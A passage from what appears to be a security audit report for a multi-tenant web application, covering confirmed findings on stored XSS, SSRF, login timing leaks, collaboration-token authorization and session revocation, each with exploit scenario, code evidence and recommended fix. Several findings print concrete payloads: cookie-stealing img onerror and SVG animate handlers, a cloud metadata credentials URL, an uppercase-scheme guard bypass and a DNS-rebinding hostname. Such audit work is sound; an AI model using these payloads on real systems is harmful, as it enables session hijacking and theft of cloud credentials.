} else if (PropertyAttributeHelper.getPropertyAttributeValue_String(property, PropertyAttributeName.Editor) === "wysiwyg") {
return <div className="truncate" dangerouslySetInnerHTML={{ __html: formattedValue }} />;
}
```
**Recommended fix**
Sanitize formattedValue before injecting it (use the same vetted sanitizer recommended above, e.g. renderSanitizedMarkdown/DOMPurify) in BOTH RowHelper.tsx and RowValueUI.tsx, matching what RowValueInput already does. Ideally sanitize on write as well so stored values are never trusted on render.
**Verifier notes**
Independently verified the full data flow. Sink: RowHelper.tsx:68 and RowValueUI.tsx:75 render `dangerouslySetInnerHTML={{ __html: formattedValue }}` with no sanitization when the property Editor attribute == "wysiwyg". formattedValue is the raw stored TEXT string — getFormattedValue (RowHelper.tsx:289-292) returns `value` verbatim (no markdown parse, no HTML escape), so a payload like `<img src=x onerror=alert(document.cookie)>` reaches the DOM unchanged and fires on render. Write path stores it verbatim: rows.db.server.ts:357 sets `textValue: value.textValue` with no sanitizer (no DOMPurify/sanitize-html/zod-strip in rows.db.server.ts or PropertyHelper). The asymmetry confirms intent: the input read-only preview at RowValueInput.tsx:166-167 wraps the value in renderSanitizedMarkdown (the project's own sanitizer in utils/html-sanitizer.ts, which removes on* handlers, script/style/srcdoc, and javascript:/data: URLs), but the three display sinks call no sanitizer. Reachable render points all confirmed: entity grid via RowDisplayHeaderHelper.tsx:119 (used by RowsListAndTable.tsx and RowCard.tsx), Kanban at RowsKanban.tsx:71, new-row preview at RowNewRoute.tsx:132 — all authenticated tenant views rendering tenant-stored user content to other tenant users including admins.
**Existing mitigations:** None found. The only CSP in the repo is scoped to the plugin-settings iframe (PluginSettingsFrame / routes/app.$tenant/settings/plugins.$id.tsx); there is no global/app CSP in root.tsx, server.ts, or entry.server.tsx, so inline event-handler (onerror) execution is not blocked on the entity grid/Kanban/new-row surfaces. No sanitization on write, none at the display sinks, and React does not escape dangerouslySetInnerHTML by design.
---
## 3. [High] SSRF via row media URL fetched without scheme/IP validation
- **Category:** SSRF | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** high
- **Location:** `apps/web/app/utils/helpers/.server/MediaService.ts:20-23`
- **Data flow:** POST row create/update form field (PropertyType.MEDIA) -> RowHelper.tsx:499-501 JSON.parse(form value) into media[] (file/publicUrl attacker-controlled) -> validatePropertyValue_Media (count-only, no URL check) -> rows.db.server.ts:445 storeRowMediaInStorageProvider(entity,row) -> MediaService.ts:20 await fetch(media.publicUrl ?? media.file).blob() -> request issued to attacker-chosen host/IP
**Exploit scenario**
An authenticated tenant member creates/updates a row whose MEDIA property value is JSON like [{"id":"x","name":"a.png","file":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","publicUrl":""}]. The server fetches that URL with the global fetch (no DNS/IP allowlist), reaching cloud metadata, internal admin ports, or other tenant-internal services. Even when the magic-bytes scan later rejects the non-image body, the SSRF request has already executed (blind SSRF / internal port probing / metadata theft if the response is small enough to be stored under media.publicUrl).
**Evidence**
```
media.name = sanitizeFileName(media.name);
const blob = await (await fetch(media.publicUrl ?? media.file)).blob();
const body = new Uint8Array(await blob.arrayBuffer());
const key = media.id + "-" + media.name;
```
**Recommended fix**
Replace the raw fetch with the existing SSRF-safe helper fetchOutboundHttpWithRedirects / validateOutboundHttpUrl from @hivegrid/foundation/outbound-http (which already does DNS resolution and blocks loopback/private/link-local/unique-local ranges). Better: only accept data: URLs for inbound media uploads and reject any http(s) source-of-record URL the client supplies; never fetch a client-provided remote URL server-side without the allowlist.
**Verifier notes**
The SSRF is real and reachable. Trace: HTTP POST to the registered row-create action (apps/web/app/modules/rows/routes/Rows_New.server.ts:61-78, action=create) -> RowHelper.getRowPropertiesFromForm (RowHelper.tsx:495-505) which JSON.parses the attacker-controlled MEDIA form field into media[] with attacker-set file/publicUrl -> validatePropertyValue_Media (PropertyHelper.ts:124-143) is COUNT-ONLY, no URL/scheme/IP checks -> RowsApi.create (RowsApi.ts:464-573) where line 565 calls storeRowMediaInStorageProvider (storeMedia defaults to true) -> MediaService.ts:20 `await (await fetch(media.publicUrl ?? media.file)).blob()` using the GLOBAL undici fetch. The only upstream guard is entity-level create permission (verifyUserHasEntityPermission in Rows_New.server.ts:67 and validateEntityPermission in RowsApi.ts:499) — an authenticated tenant member with normal row-create rights satisfies it. Detail correction: MediaService.ts:15 filters `.filter((f) => !f.publicUrl)`, so the attacker omits publicUrl (or sets it null) and puts the target in `file`; the `?? media.file` on line 20 then resolves to media.file. Legitimate uploads use FileReader.readAsDataURL (UploadDocument.tsx:104-110) producing data: URLs, so an http(s) URL in `file` is an attacker-only condition with no validation between JSON.parse and fetch. Impact is amplified beyond blind SSRF: putBufferAsFile (storageService.ts:174-196) does NO content/magic-byte validation in this path, the fetched response body is stored verbatim, and media.publicUrl is set to the retrievable URL (MediaService.ts:23-39) — so internal/metadata responses can be exfiltrated back to the attacker via the row media URL. The repo already ships the correct SSRF-safe helpers validateOutboundHttpUrl / fetchOutboundHttpWithRedirects in packages/foundation/src/outbound-http.ts (blocks loopback/private/link-local/unique-local, DNS resolution, manual redirect re-validation) but MediaService.ts does not import or use them.
**Existing mitigations:** Only authentication + entity-level create/update permission (verifyUserHasEntityPermission / validateEntityPermission) and tenant scoping — none of which constrain the fetched URL. validatePropertyValue_Media is count-only and does not validate scheme/host/IP. No allowlist, no DNS pinning, no scheme check, no magic-byte gate before the fetch. Requires hasStorageCredentials()==true (normal production config). No mitigation for the SSRF itself was found.
---
## 4. [High] SSRF in avatar/branding upload via case-sensitive http guard bypass
- **Category:** SSRF | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** high
- **Location:** `apps/web/app/utils/integrations/storageService.ts:80-101`
- **Data flow:** POST settings form field (avatar/icon/logo/favicon/seoImage) -> form.get('avatar').toString() (profile.tsx:130 / account.tsx / portals settings) -> storeFile({content, scan}) -> guard `content.startsWith('http') && !replace` is case-sensitive and bypassed by uppercase scheme -> storageService.ts:100 await fetch(content).blob() -> request to attacker-chosen internal host
**Exploit scenario**
An authenticated user submits avatar=HTTP://169.254.169.254/latest/meta-data/ (or HTTPS://internal-service:8080/). "HTTP://...".startsWith("http") is false, so the early-return at line 80 does not trigger, but new URL()/undici normalizes the scheme to http: and fetch() makes the request. This reaches cloud metadata endpoints and internal services. The same bypass applies to all storeFile callers (account icon, portal/admin branding, widgets, SEO images). The post-fetch magic-bytes scan does not prevent the request.
**Evidence**
```
if (content.startsWith("http") && !replace) {
...
return content;
}
...
if (scan) {
const blob = await (await fetch(content)).blob();
```
**Recommended fix**
Do not rely on a string prefix to gate outbound fetches. Parse the value with new URL() and, for any http/https scheme, route through fetchOutboundHttpWithRedirects/validateOutboundHttpUrl (private-IP/DNS rebinding protection). Ideally restrict storeFile inputs to data: URLs for user uploads and reject remote URLs entirely; also apply the same fix to putFileViaProvider (line 214) which has the identical raw fetch.
**Verifier notes**
Confirmed the full exploit path. storeFile (apps/web/app/utils/integrations/storageService.ts:79-101) gates its outbound fetch with `if (content.startsWith("http") && !replace)` at line 80, then on the scan path issues `await (await fetch(content)).blob()` at line 100 against the raw, attacker-controlled `content`. I verified at the JS level that the prefix check is case-sensitive and bypassable: `"HTTP://169.254.169.254/".startsWith("http")` returns false, so the early return is skipped, while `new URL("HTTP://169.254.169.254/...")` normalizes the scheme to `http:` and fetch issues the request. `replace` is not passed by the upload callers, so `!replace` is always true and the broken guard is the only gate.
Reachability is confirmed: the value is raw request-body form input. In profile.tsx:130 `const avatar = form.get("avatar")?.toString() ?? ""` flows directly to `storeFile({content: avatar, scan: {...}})` at lines 257-269. The action (profile.tsx:119-121) is gated only by `requireAuth` + `validateCSRFToken` — any authenticated tenant user. account.tsx:89/142-170 does the same with `icon = form.get("icon")` behind `verifyUserHasPermission("app.settings.account.update")`. admin/settings/general.tsx:72-76 (logo/icon/favicon/seoImage), __portals/.../settings.tsx (7 callers), and __widgets/widgets/$id.tsx:129 all pass raw form fields as `content` with `scan` set. Standard authenticated-user SSRF threat model.
No mitigation neutralizes it. The codebase HAS a correct SSRF guard — packages/foundation/src/outbound-http.ts `validateOutboundHttpUrl`/`fetchOutboundHttpWithRedirects`, which blocks 169.254.x.x (metadata, line 220), 127.x, 10.x, 172.16-31.x, 192.168.x, 100.64/10, localhost, bare hostnames, and re-validates on each redirect with DNS resolution (anti-rebinding). It is used by webhooks (entityWebhooks.db.server.ts) and workflow blocks (WorkflowBlockService.ts) but NOT by storeFile, which uses bare global `fetch`. I confirmed there is no global undici dispatcher/ProxyAgent installed that would add SSRF filtering. The identical raw `fetch(content)` also exists at storageService.ts:214 (putFileViaProvider), reachable on the no-scan path. The post-fetch magic-bytes scan does not prevent the outbound request from being sent (the request fires before the scan), so it does not mitigate the SSRF; it only limits exfiltration of fetched content back to the attacker, making this a blind SSRF.
**Existing mitigations:** requireAuth/verifyUserHasPermission gate the routes (so it requires an authenticated tenant user, not unauthenticated), and a post-fetch magic-bytes scanner runs on the response — but neither prevents the outbound request from reaching internal hosts/metadata. The correct guard (validateOutboundHttpUrl / fetchOutboundHttpWithRedirects in packages/foundation/src/outbound-http.ts) exists in the repo and is used elsewhere, but is NOT applied to storeFile's fetch at storageService.ts:100 or putFileViaProvider at :214. No allowlist, scheme validation, or private-IP block protects this sink. Net: no effective mitigation.
---
## 5. [Medium] API login endpoint leaks account existence via response-timing (no dummy-hash comparison)
- **Category:** Account Enumeration / Timing Side-Channel | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** high
- **Location:** `apps/api/src/routes/auth-routes.ts:52-71`
- **Data flow:** POST /v1/auth/login {email,password} -> findLegacyLoginUserByEmail(email) -> if user missing OR passwordHash null: return immediately; else: comparePassword (bcrypt.compare, ~50-100ms) -> measurable timing delta reveals whether an email is a registered password account
**Exploit scenario**
An attacker scripts POST /v1/auth/login with a fixed wrong password and varying emails. Requests for non-existent or magic-link-only accounts return in a few ms (no hash work), while requests for real password accounts incur the full bcrypt.compare cost. By measuring median latency the attacker enumerates valid corporate email accounts (and distinguishes password vs passwordless accounts), feeding targeted credential-stuffing/phishing. The web login path defends against exactly this by always running verifyPassword against DUMMY_PASSWORD_HASH; the API path does not.
**Evidence**
```
const user = await dependencies.findLegacyLoginUserByEmail(email);
if (!user) {
await dependencies.recordFailedLoginAttempt(rateLimitRequest);
return apiError(c, 400, "invalid_credentials", AUTH_INVALID_CREDENTIALS_MESSAGE);
}
if (user.passwordHash === null) { ... return ... }
const isCorrectPassword = await dependencies.comparePassword(password, user.passwordHash);
```
**Recommended fix**
Mirror the web AuthService: when no user (or a null hash) is found, still run a comparePassword against a constant dummy bcrypt hash before returning invalid_credentials, so the response time is independent of account existence. Keep the per-account + per-IP rate limiting that is already in place.
**Verifier notes**
I read the cited code and traced the full data flow. The route POST /v1/auth/login is registered (apps/api/src/app.ts:120 -> registerAuthRoutes) and reachable with unauthenticated attacker-controlled JSON {email,password}. The handler (apps/api/src/routes/auth-routes.ts:52-71) has three distinct latency profiles: (1) user missing -> returns immediately after a single Prisma findUnique, no bcrypt; (2) user.passwordHash === null (magic-link-only account) -> returns immediately, no bcrypt; (3) real password account -> dependencies.comparePassword, which is bound to bcrypt.compare (app-dependencies.ts:361), incurring the full ~50-100ms hash cost. findLegacyLoginUserByEmail (packages/db/src/users.server.ts:123-141) does only a findUnique and returns null with no compensating work, so it adds no equalizing delay. The web AuthService (apps/web/app/modules/users/services/AuthService.ts:219) deliberately defends against exactly this by always running verifyPassword against DUMMY_PASSWORD_HASH (line 24) even when no user is found — the API path has no equivalent, confirming the maintainers consider this in-scope and the asymmetry is real, not theoretical. The repo's own tests confirm the early-return behavior (app.test.ts:2215: comparePassword is NOT called for magic-link accounts). The measurable timing delta lets an attacker scripting fixed-wrong-password logins across varying emails distinguish registered password accounts from non-existent/passwordless ones, enumerating valid corporate emails and account types for credential-stuffing/phishing. The mitigation finder credits (rate limiting) is weak: the per-IP limit (10/min) derives the client IP solely from the attacker-spoofable x-forwarded-for / x-real-ip headers (login-rate-limit.ts:161-174; createLoginRateLimitRequest passes remoteAddress:null at shared.ts:211, with no proxy-trust validation), so it is bypassable by header rotation; the per-account limit (5/min) is keyed per email and does not impede enumeration across many distinct emails (each email gets its own budget, and only a few timing samples per email are needed). No constant-time compare, no dummy-hash fallthrough, and no upstream guard neutralizes the issue.
**Existing mitigations:** Per-account login rate limit (5/min, keyed on normalized email) in apps/api/src/auth/login-rate-limit.ts is the only partial control, but it does not prevent cross-email enumeration (per-email budgets) and a few samples per email suffice. The per-IP limit (10/min) is effectively bypassable: the client IP is taken directly from attacker-controlled x-forwarded-for/x-real-ip headers with no trusted-proxy validation (deriveLoginRateLimitClientIp; createLoginRateLimitRequest sets remoteAddress:null). No dummy-hash/constant-time compare exists on the API path, unlike the web AuthService.
---
## 6. [Medium] Realtime-collab token issuer grants document access on tenant membership alone, with no resource-level authorization
- **Category:** Broken Object-Level Authorization | **Verdict:** confirmed | **Fix effort:** moderate | **Finder confidence:** medium
- **Location:** `apps/web/app/routes/api.collab.token.ts:64-101`
- **Data flow:** POST /api/collab.token body { tenantId, resourceType, resourceId } -> getTenantUserType(session.userId, body.tenantId) verifies only tenant membership -> jwt.sign({ userId, tenantId, resourceType, resourceId }) bound to the caller-chosen resourceId -> Hocuspocus onAuthenticate (apps/hocuspocus/src/extensions/auth.ts) only re-checks the JWT matches the documentName triple, performing NO resource ACL lookup -> attacker joins/edits the chosen collaborative document
**Exploit scenario**
A low-privileged but active member of tenant T (e.g. a read-only or limited-role user) POSTs to /api/collab.token with { tenantId: T, resourceType: 'row', resourceId: <id of a document/row they have no row-permission to> }. The endpoint only checks getTenantUserType (any active membership passes) and returns a valid 15-minute JWT for documentName `T:row:<id>`. Hocuspocus admits the connection because the JWT triple matches the documentName, with no further per-resource permission check. The user can now read and collaboratively edit a document within their tenant that the row-permission system (RowPermission / getUserRowPermission) would otherwise deny. Scope is bounded to the user's own tenant (cross-tenant is blocked by the membership check), but it bypasses intra-tenant object-level authorization for any collaborative resource.
**Evidence**
```
const membership = await getTenantUserType(session.userId, body.tenantId);
if (!membership) {
return Response.json({ error: "forbidden", reason: "tenant-membership-required" }, { status: 403 });
}
...
const token = jwt.sign({ userId: session.userId, tenantId: body.tenantId, resourceType: body.resourceType, resourceId: body.resourceId }, secret, ...);
```
**Recommended fix**
Before signing the token, perform a resource-level authorization check for the requested (resourceType, resourceId) within tenantId — e.g. for resourceType 'row' call getRowById/getUserRowPermission and require canRead/canUpdate; reject with 403 when the user lacks access. Do not rely solely on tenant membership. Alternatively, have Hocuspocus onAuthenticate call back into an authorization endpoint to confirm resource access on connect.
**Verifier notes**
I read both cited files plus all callers/callees and confirmed the exploit path is open end-to-end.
Reachability: apps/web/app/routes.ts uses createRoutesFromFolders (v1 flat-route auto-discovery). The file api.collab.token.ts is a normal route file (not .server.ts/.test.ts, so not in defaultIgnoredRouteFilePatterns), so its exported `action` is HTTP-reachable at POST /api/collab.token.
Guards present but insufficient: (1) HOCUSPOCUS_AUTH_SECRET must be set else 503; (2) authenticated session via getUserInfo (session.server.ts:140) else 401 — this only reads userId from the cookie, pure authentication; (3) input validation isDocumentNamePart/isNonEmptyString (lines 35-41) only checks string type, length<=256, and colon presence — NOT an ACL; (4) tenant membership via getTenantUserType (tenants.db.server.ts:388-400) which only queries tenantUser for ACTIVE status on an active tenant and returns {status,type} — NO row/resource-level authorization; (5) per-tenant feature flag realtime-collab-enabled.
Attacker-controlled resourceId (body.resourceId) is copied verbatim into the signed JWT (api.collab.token.ts:88-90) after only the membership + flag checks. Hocuspocus onAuthenticate -> verifyCollabToken (apps/hocuspocus/src/extensions/auth.ts:68-99) only verifies HS256 signature + that the JWT's tenantId/resourceType/resourceId equal the documentName triple — no resource ACL. The database extension fetchCollabDoc/storeCollabDoc (database.ts:40-93) loads and persists the Y.js BLOB purely by the documentName triple, with an explicit comment 'Auth has already verified that the connection has access to this triple' — which is false at the resource level. I grepped all of apps/hocuspocus/src for getRowById/getUserRowPermission/RowPermission/canRead/canUpdate/authoriz/permission and found only comment mentions, no actual check.
The repo's real row-authorization lives in apps/web/app/utils/db/entities/rows.db.server.ts: getAccessFilters (lines 492-505) combines TenantHelper.tenantCondition AND getRowPermissionsCondition({tenantId,userId}), proving that in the normal web data path a tenant member still does NOT automatically get row access — per-user RowPermission filtering applies. The collab token endpoint bypasses this entirely.
Net: a low-privileged but ACTIVE member of tenant T can POST {tenantId:T, resourceType:'row', resourceId:<row they lack row-permission on>}, receive a valid 15-min JWT for documentName T:row:<id>, connect to Hocuspocus, and read/edit the collaborative document — bypassing intra-tenant object-level authorization (RowPermission). Cross-tenant is blocked by the membership check, so impact is bounded to the attacker's own tenant; gated by the realtime-collab-enabled flag and requires knowing/guessing a target resourceId. Medium is correct.
**Existing mitigations:** Partial-only controls, none of which close the gap: authentication (getUserInfo), tenant-membership check (getTenantUserType) which blocks cross-tenant access, input length/format validation (isDocumentNamePart), and a per-tenant feature flag (realtime-collab-enabled). The genuine row-ACL system (getRowPermissionsCondition / RowPermission, applied in rows.db.server.ts getAccessFilters) is NOT invoked anywhere in the collab-token issuer or in Hocuspocus onAuthenticate/database extension. No resource-level authorization mitigation found.
---
## 7. [Medium] Unsanitized raw SVG injection via icon fields (entity/KB/sidebar icons)
- **Category:** Stored XSS (SVG) | **Verdict:** confirmed | **Fix effort:** moderate | **Finder confidence:** medium
- **Location:** `apps/web/app/components/layouts/icons/EntityIcon.tsx:7 (same pattern: SidebarIcon.tsx:22, ImageOrSvg.tsx:8, InputImage.tsx:144, KbCategory.tsx:38, KbCategoriesGrid.tsx:32)`
- **Data flow:** Tenant admin enters an icon value via a form field name="icon" (EntityForm.tsx:232, KbCategoryForm.tsx:64) that accepts a raw '<svg ...>...</svg>' string -> stored verbatim -> rendered as `<div dangerouslySetInnerHTML={{ __html: icon.replace('<svg', "<svg class='...'") }} />` with no sanitization of the SVG body/attributes
**Exploit scenario**
An entity/KB administrator stores an icon string containing scriptable SVG, e.g. `<svg><a xlink:href="javascript:alert(document.cookie)"><rect width=99 height=99/></a></svg>` or SVG with `<animate onbegin=...>`/`<foreignObject>` payloads. When rendered in the sidebar/entity list/public KB grid, the markup runs depending on browser/SVG parsing context. The .replace('<svg', ...) only injects a class and does no sanitization. Confidence is tempered because innerHTML-injected SVG event handlers do not fire uniformly across browsers, and the field is admin-restricted.
**Evidence**
```
<div dangerouslySetInnerHTML={{ __html: icon.replace("<svg", `<svg class='${className}'`) ?? "" }} />
```
**Recommended fix**
Never inject raw user-supplied SVG via innerHTML. Either render icons via an <img>/icon-name allowlist, or sanitize the SVG with DOMPurify configured for SVG (USE_PROFILES: { svg: true, svgFilters: true }) and strip event handlers and javascript:/data: hrefs before rendering. Apply consistently to EntityIcon, SidebarIcon, ImageOrSvg, InputImage, and the KB category icon renderers.
**Verifier notes**
Independently traced the full input->sink path and confirmed all five sinks plus an end-to-end exploit path with no mitigation.
SINK (confirmed verbatim): EntityIcon.tsx:7, SidebarIcon.tsx:22, ImageOrSvg.tsx:8, KbCategory.tsx:36-45, KbCategoriesGrid.tsx:30-39 all render `dangerouslySetInnerHTML={{ __html: icon.replace("<svg", "<svg class='...'") }}`. The `.replace` only injects a class attribute after the first `<svg`; it strips nothing. No sanitizer is applied.
INPUT (attacker-controlled): EntityForm.tsx:232 and KbCategoryForm.tsx:64 expose `name="icon"` as a free InputText that accepts a raw `<svg>...</svg>` string.
STORAGE (no sanitization): the admin actions read it raw and persist verbatim, e.g. routes/admin/knowledge-base/bases.$slug/categories.$lang/new.tsx:44 `const icon = form.get("icon")?.toString() ?? ""` -> createKnowledgeBaseCategory -> kbCategories.db.server.ts:133 `icon: data.icon`. Same for entity icons (routes/admin/entities/$entity/details.tsx:50).
AUDIENCE / privilege boundary crossed: the stored KB icon is served by KbRoutes.Index.Api.tsx loader, which is wired to the PUBLIC route routes/docs/($lang).tsx (and /help/*). That loader has NO requireAuth/permission gate — it calls KnowledgeBaseService.get({ enabled: true }) and returns categories (with their icon) to any anonymous visitor, where KbCategoriesGrid renders the raw SVG. So an admin-stored payload executes in the browsers of unauthenticated public visitors. Entity icons additionally render in the authenticated tenant app (sidebar/entity lists) to all tenant users.
MITIGATIONS HUNTED AND RULED OUT: (1) No DOMPurify/sanitize-html/xss package anywhere in apps/web or packages. (2) No page-level Content-Security-Policy in root.tsx/entry.server.tsx — the only CSP references are iframe-sandbox CSP for the plugins settings frame, which does not cover the docs/help pages. (3) The `.replace("<svg", ...)` is class injection, not sanitization. (4) Permission checks (admin.kb.create/update, verifyUserHasPermission) and validateCSRFToken protect only the WRITE; they do not sanitize content and do not protect the public READ audience.
EXPLOITABILITY (honest, matches finder's tempered confidence): innerHTML-inserted `<script>` does NOT run (HTML spec), and `<svg onload>` does not fire for inline SVG. But SMIL animation handlers fire on inline SVG in Chromium/Firefox, giving a working payload such as `<svg xmlns="http://www.w3.org/2000/svg"><animate onbegin="alert(document.cookie)" attributeName="x" dur="1s"/></svg>` (also `<animate onend=...>` and interaction handlers like onmouseover on child shapes). There is real cross-browser variance, but a working stored-XSS exists against modern engines on a public page, enabling cookie/session theft against site visitors.
Conclusion: genuine stored XSS via SVG; the write is admin-gated (smaller attacker set) but the render audience is unauthenticated/public and cross-user, so the issue is real and exploitable.
**Existing mitigations:** Write side is gated by verifyUserHasPermission (admin.kb.create/update, entity admin perms) + validateCSRFToken, which narrows the attacker to privileged admins/super-admins and blocks CSRF — but these do not sanitize the stored value and do not protect the public/cross-user render audience. No DOMPurify/sanitize-html exists in the repo; no page-level Content-Security-Policy is set on the docs/help/app pages (the only CSP is an iframe sandbox for the plugins settings frame). The `.replace("<svg", "<svg class='...'")` is class injection, not sanitization. Net: no control neutralizes the XSS at the render sink.
---
## 8. [Medium] DNS-rebinding SSRF in legacy entity-webhook delivery (no resolved-address check)
- **Category:** SSRF | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** high
- **Location:** `apps/web/app/utils/db/entities/entityWebhooks.db.server.ts:123-167, 194-211`
- **Data flow:** Admin sets EntityWebhook.endpoint (routes/admin/entities/$entity/webhooks/new.tsx action -> createEntityWebhook) -> row create/update fires createRowLog/createManualRowLog (logs.db.server.ts) -> callEntityWebhooks -> resolveWebhookEndpoint -> validateOutboundWebhookUrl (literal-hostname check only) -> local fetchWebhookWithRedirects -> fetchWithTimeout -> raw fetch(currentUrl) with no DNS/resolved-address validation
**Exploit scenario**
An operator with admin.entities.update registers an entity webhook whose endpoint is https://rebind.attacker.com/. validateOutboundWebhookUrl passes because the literal hostname is not localhost, not an IP literal, and does not end in an internal suffix. attacker.com's DNS is configured (or rebinds) to resolve to 169.254.169.254 (cloud metadata) or 127.0.0.1 / an internal RFC1918 service. When a row log triggers the webhook, the server's raw fetch() resolves the name itself and connects to the internal address, POSTing the row's apiFormat body there and recording the response status. This enables reaching the cloud metadata endpoint and internal-only services, and exfiltrating internal responses (status is logged). The hardened sibling helper packages/foundation/src/outbound-http.ts proves the intended posture: it calls assertOutboundHttpResolvedAddresses (dns.lookup all+verbatim:false) and rejects any resolved private/metadata address; this legacy copy never resolves DNS.
**Evidence**
```
async function fetchWithTimeout(input, init) { ... return await fetch(input, { ...init, redirect: "manual", signal: controller.signal }); } // and validateOutboundWebhookUrl only does isBlockedWebhookHostname(url.hostname) with no DNS resolution
```
**Recommended fix**
Replace this entire local fetchWebhookWithRedirects/validateOutboundWebhookUrl block with the shared apps/web/app/utils/outboundHttp.server.ts (fetchOutboundHttpWithRedirects), which performs per-hop DNS resolution and rejects requests whose resolved A/AAAA records fall in private/loopback/link-local/metadata ranges. Do not maintain a forked guard that omits the resolved-address check.
**Verifier notes**
Traced the full data flow and confirmed the exploit path is open. EntityWebhook.endpoint is stored verbatim from operator form input (webhook-endpoint) in apps/web/app/routes/admin/entities/$entity/webhooks/new.tsx:41-50 and $id.tsx:57-65 with NO URL validation at write time. At delivery time, a row create/update fires createRowLog/createManualRowLog (apps/web/app/utils/db/logs.db.server.ts:210, 246) -> callEntityWebhooks -> fetchLegacyWebhookStatus (entityWebhooks.db.server.ts:123) -> fetchWebhookWithRedirects (:143) -> fetchWithTimeout (:132) -> raw fetch(currentUrl). The only guard, validateOutboundWebhookUrl (:194), calls isBlockedWebhookHostname(url.hostname) (:206) which performs LITERAL-ONLY checks (localhost, IP literals, dotless hosts, internal suffixes). It never resolves DNS. grep for dns.lookup/node:dns/assertOutbound in the legacy file returns no matches. Node's fetch (undici) resolves the hostname itself at connect time, so a benign-looking public hostname (e.g. rebind.attacker.com) that resolves or rebinds to 169.254.169.254 (cloud metadata), 127.0.0.1, or RFC1918 reaches the internal target; the HTTP status is then recorded in entityWebhookLog.status (:109), providing a small response oracle. The redirect chain (resolveOutboundWebhookRedirect :169 -> validateOutboundWebhookUrl) re-validates only the literal hostname, so a 30x redirect to a rebinding host bypasses identically. The hardened canonical sibling packages/foundation/src/outbound-http.ts proves the intended posture: it calls assertOutboundHttpResolvedAddresses (dns.lookup all + verbatim:false) and rejects resolved private/metadata addresses on every hop, and it is already adopted by WorkflowBlockService.ts, apps/worker/src/handlers.ts, and workflow-trigger-native-executor.ts. The legacy entityWebhooks copy is the lone outbound path that forks the guard and omits the resolved-address check.
**Existing mitigations:** The create/update routes are gated by verifyUserHasPermission(request, "admin.entities.update") and validateCSRFToken, so this is a privileged-operator SSRF, not unauthenticated. validateOutboundWebhookUrl blocks IP literals, localhost, and internal suffixes (and a 5-hop redirect cap + manual-redirect handling exist), but it does NOT resolve DNS, so DNS-rebinding / attacker-controlled-resolution hostnames bypass it entirely. No verify-baseline script governs this file (grep found none referencing entityWebhooks/outboundHttp/SSRF). The resolved-address check that would neutralize this exists only in the unused foundation helper, not on this path.
---
## 9. [Low] Non-constant-time comparison of privileged API service token
- **Category:** Timing Side-Channel / Auth | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** medium
- **Location:** `apps/api/src/auth.ts:19-22`
- **Data flow:** Authorization: Bearer <token> (or x-api-key / body.apiKey) -> authenticateServiceRequest / authenticateServiceCredentialRequest -> isValidServiceToken(token, config.apiAccessToken) -> token === configuredToken (JS string equality, early-exit, non-constant-time)
**Exploit scenario**
The service token (API_ACCESS_TOKEN) grants a service-principal that bypasses all tenant scoping (authorizeApiScope/resolveApiTenantScope short-circuit to allowed for type 'service-token'). The equality check `token === configuredToken` short-circuits on the first mismatching byte, so its execution time correlates with the length of the matching prefix. A well-positioned attacker (co-located, low-jitter network, or shared host) could in principle recover the token byte-by-byte via statistical timing analysis. Exploitability over the public internet is low due to network jitter, hence Low severity, but the credential is high-value (full cross-tenant service access).
**Evidence**
```
export function isValidServiceToken(token: string, configOrToken) {
const configuredToken = typeof configOrToken === "string" ? configOrToken : configOrToken?.apiAccessToken;
return Boolean(configuredToken && token === configuredToken);
}
```
**Recommended fix**
Compare using crypto.timingSafeEqual on equal-length buffers (hash both sides with SHA-256 first to normalize length and avoid leaking length): e.g. timingSafeEqual(sha256(token), sha256(configuredToken)) guarded by `configuredToken` presence. This matches the constant-time pattern already used for magic-link signatures, CSRF tokens, and recovery codes elsewhere in the codebase.
**Verifier notes**
Independently verified all three claims. (1) Sink is real: apps/api/src/auth.ts:21 `return Boolean(configuredToken && token === configuredToken)` uses JS `===` string equality, which short-circuits on the first mismatching byte (non-constant-time). (2) Attacker input reaches it unauthenticated: it is called from authenticateServiceRequest (auth.ts:33), authenticateServiceCredentialRequest (routes/shared.ts:248), and — critically — the PUBLIC endpoint POST /v1/api-keys/validate (routes/auth-routes.ts:165 and :174), which feeds the attacker-controlled Authorization: Bearer header / x-api-key / body.apiKey straight into isValidServiceToken and returns a distinct success envelope ({active:true,keyType:'service-token'}), giving a directly observable oracle with no prior credential. (3) The credential is high-value: apps/api/src/auth/scope.ts:66-71 (authorizeApiScope) and :108-114 (resolveApiTenantScope) both short-circuit to allowed:true for principal.type==='service-token', bypassing all tenant scoping — full cross-tenant access. No mitigating control exists on this path: no upstream hashing, length normalization, allowlist, or constant-time compare. The codebase otherwise uses crypto.timingSafeEqual for every secret comparison (magic-link, CSRF/session, recovery codes, password reset, webhook signatures, lead/deletion/unsubscribe/invite tokens), and the directly analogous packages/metrics/src/auth.ts validates a bearer service token with timingSafeEqualStrings and explicitly documents 'The comparison is timing-safe.' isValidServiceToken is the sole outlier. The finder's Low severity is appropriate: remote exploitation over the public internet is impractical due to network jitter, but co-located/shared-host/low-jitter attackers are plausible and the credential grants full cross-tenant service access.
**Existing mitigations:** none found — no hashing, length normalization, allowlist, rate limiting on the comparison, or constant-time guard on the isValidServiceToken path; it is the only secret comparison in the repo using raw === instead of crypto.timingSafeEqual (cf. packages/metrics/src/auth.ts timingSafeEqualStrings).
---
## 10. [Low] API session revocation/logout is process-local (in-memory Map) — revoked/refreshed sessions remain valid on other instances and across restarts
- **Category:** Session Management / Insufficient Session Invalidation | **Verdict:** confirmed | **Fix effort:** moderate | **Finder confidence:** medium
- **Location:** `apps/api/src/auth/session/session-store.ts:42-121`
- **Data flow:** POST /v1/auth/login -> createApiSession (in-memory Map entry) + jwt.sign({userId,sessionId}, 1h). POST /v1/auth/logout / refresh-token -> revokeApiSession/rotateApiSession mutate the same in-memory Map. The bearer JWT (1h TTL) is the actual credential; getActiveApiSession only consults the local Map.
**Exploit scenario**
On any multi-instance API deployment (load-balanced, the normal production shape), the session Map is per-process. (1) A user logs out on instance A; their still-unexpired JWT continues to authenticate on instances B/C because those processes never saw the revocation — logout does not invalidate the token until its 1h expiry. (2) A process restart drops all session records, so previously-valid refresh/logout state is lost. The 1h JWT lifetime bounds the window, but a stolen token survives an explicit logout, defeating the purpose of session revocation. Confidence is medium because impact depends on the deployment running more than one API process.
**Evidence**
```
export function createApiSessionStore(options = {}) {
